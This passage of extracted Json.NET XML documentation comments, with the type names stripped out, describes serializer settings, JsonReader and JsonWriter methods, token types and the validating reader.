how default values are handled during serialization and deserialization. - The default value is . - - The default value handling. - - - - Gets or sets a collection that will be used during serialization. - - The converters. - - - - Gets or sets how object references are preserved by the serializer. - The default value is . - - The preserve references handling. - - - - Gets or sets how type name writing and reading is handled by the serializer. - The default value is . - - - should be used with caution when your application deserializes JSON from an external source. - Incoming types should be validated with a custom - when deserializing with a value other than . - - The type name handling. - - - - Gets or sets how metadata properties are used during deserialization. - The default value is . - - The metadata properties handling. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how a type name assembly is written and resolved by the serializer. - The default value is . - - The type name assembly format. - - - - Gets or sets how constructors are used during deserialization. - The default value is . - - The constructor handling. - - - - Gets or sets the contract resolver used by the serializer when - serializing .NET objects to JSON and vice versa. - - The contract resolver. - - - - Gets or sets the equality comparer used by the serializer when comparing references. - - The equality comparer. - - - - Gets or sets the used by the serializer when resolving references. - - The reference resolver. - - - - Gets or sets a function that creates the used by the serializer when resolving references. - - A function that creates the used by the serializer when resolving references. - - - - Gets or sets the used by the serializer when writing trace messages. - - The trace writer. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the used by the serializer when resolving type names. - - The binder. - - - - Gets or sets the error handler called during serialization and deserialization. - - The error handler called during serialization and deserialization. - - - - Gets or sets the used by the serializer when invoking serialization callback methods. - - The context. - - - - Gets or sets how and values are formatted when writing JSON text, - and the expected date format when reading JSON text. - The default value is "yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK". - - - - - Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a . - A null value means there is no maximum. - The default value is 64. - - - - - Indicates how JSON text output is formatted. - The default value is . - - - - - Gets or sets how dates are written to JSON text. - The default value is . - - - - - Gets or sets how time zones are handled during serialization and deserialization. - The default value is . - - - - - Gets or sets how date formatted strings, e.g. "\/Date(1198908717056)\/" and "2012-03-21T05:40Z", are parsed when reading JSON. - The default value is . - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written as JSON. - The default value is . - - - - - Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text. - The default value is . - - - - - Gets or sets how strings are escaped when writing JSON text. - The default value is . - - - - - Gets or sets the culture used when reading JSON. - The default value is . - - - - - Gets a value indicating whether there will be a check for additional content after deserializing an object. - The default value is false. - - - true if there will be a check for additional content after deserializing an object; otherwise, false. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - using values copied from the passed in . - - - - - Represents a reader that provides fast, non-cached, forward-only access to JSON text data. - - - - - Asynchronously reads the next JSON token from the source. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns true if the next token was read successfully; false if there are no more tokens to read. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a []. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the []. This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a of . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the of . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously reads the next JSON token from the source as a . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous read. The - property returns the . This result will be null at the end of an array. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Initializes a new instance of the class with the specified . - - The containing the JSON data to read. - - - - Gets or sets the reader's property name table. - - - - - Gets or sets the reader's character buffer pool. - - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a []. - - A [] or null if the next JSON token is null. This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Gets a value indicating whether the class can return line information. - - - true if and can be provided; otherwise, false. - - - - - Gets the current line number. - - - The current line number or 0 if no line information is available (for example, returns false). - - - - - Gets the current line position. - - - The current line position or 0 if no line information is available (for example, returns false). - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor 